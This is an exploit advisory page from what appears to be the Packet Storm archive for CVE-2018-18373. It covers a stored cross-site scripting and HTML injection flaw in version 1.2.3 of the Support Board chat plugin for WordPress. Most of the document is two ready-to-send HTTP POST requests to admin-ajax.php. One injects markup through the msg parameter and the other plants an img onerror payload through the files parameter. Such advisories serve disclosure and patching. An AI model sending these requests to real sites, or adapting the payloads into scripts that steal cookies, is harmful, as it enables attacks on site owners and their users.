what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Support Board 1.2.3 Cross Site Scripting

WordPress Support Board 1.2.3 Cross Site Scripting
Posted Oct 16, 2018
Authored by Ismail Tasdelen

WordPress Support Board plugin version 1.2.3 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2018-18373
SHA-256 | 0355f54279601b62651bec189edae733105d73619df22b146e5bf3ab4c7ba055

WordPress Support Board 1.2.3 Cross Site Scripting

Change Mirror Download
# Exploit Title: Support Board - PHP & Wordpress Plugin v1.2.3 - HTML Injection and Stored XSS
# Date: 2018-10-16
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://schiocco.com/
# Software Link : https://board.support/
# Software : Support Board - Chat And Help Desk
# Version : v1.2.3
# Vulernability Type : Code Injection
# Vulenrability : HTML Injection and Stored XSS
# CVE : CVE-2018-18373

# In the Schiocco "Support Board - Chat And Help Desk" plugin 1.2.3 for WordPress, a Stored XSS vulnerability has been discovered in file upload areas in the Chat and Help Desk sections via the msg parameter in a /wp-admin/admin-ajax.php sb_ajax_add_message action.


# HTTP POST Request : [HTML Injection]

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://TARGET/desk-demo/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 288
Cookie: _ga=GA1.2.1452102121.1539634100; _gid=GA1.2.1034601494.1539634100; PHPSESSID=pljbkl7n96fpl5uicnbec21f77
Connection: close

action=sb_ajax_add_message&msg=%26%238220%3B%3E%3Ch1%3EIsmail+Tasdelen%3C%2Fh1%3E&files=&time=10%2F15%2F2018%2C+4%3A19%3A45+PM&user_id=70765091&user_img=https%3A%2F%2Fboard.support%2Fwp-content%2Fuploads%2F2017%2F07%2Fuser.jpg&user_name=James+Wilson&user_type=user&environment=wp&sb_lang=

# In the v1.2.3 version of the Support Board - Chat And Help Desk PHP & Wordpress Plugin, the Stored XSS vulnerability has been discovered in
the HTML Injection vulnerability and file upload areas in the Chat and Help Desk sections of Schiocco.

# HTTP POST Request : [Stored XSS]

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://TARGET/chat/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 450
Cookie: _ga=GA1.2.1452102121.1539634100; _gid=GA1.2.1034601494.1539634100; PHPSESSID=pljbkl7n96fpl5uicnbec21f77
Connection: close

action=sb_ajax_add_message&msg=&files=https%3A%2F%2FTARGET%2Fwp-content%2Fuploads%2Fsupportboard%2F70765091%2F%22%3E%3Cimg+src%3Dx+onerror%3Dalert(%22ismailtasdelen%22)%3E.jpg%7C%22%3E%3Cimg+src%3Dx+onerror%3Dalert(%22ismailtasdelen%22)%3E.jpg&time=10%2F15%2F2018%2C+4%3A23%3A42+PM&user_id=70765091&user_img=https%3A%2F%2Fboard.support%2Fwp-content%2Fuploads%2F2017%2F07%2Fuser.jpg&user_name=James+Wilson&user_type=user&environment=wp&sb_lang=

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close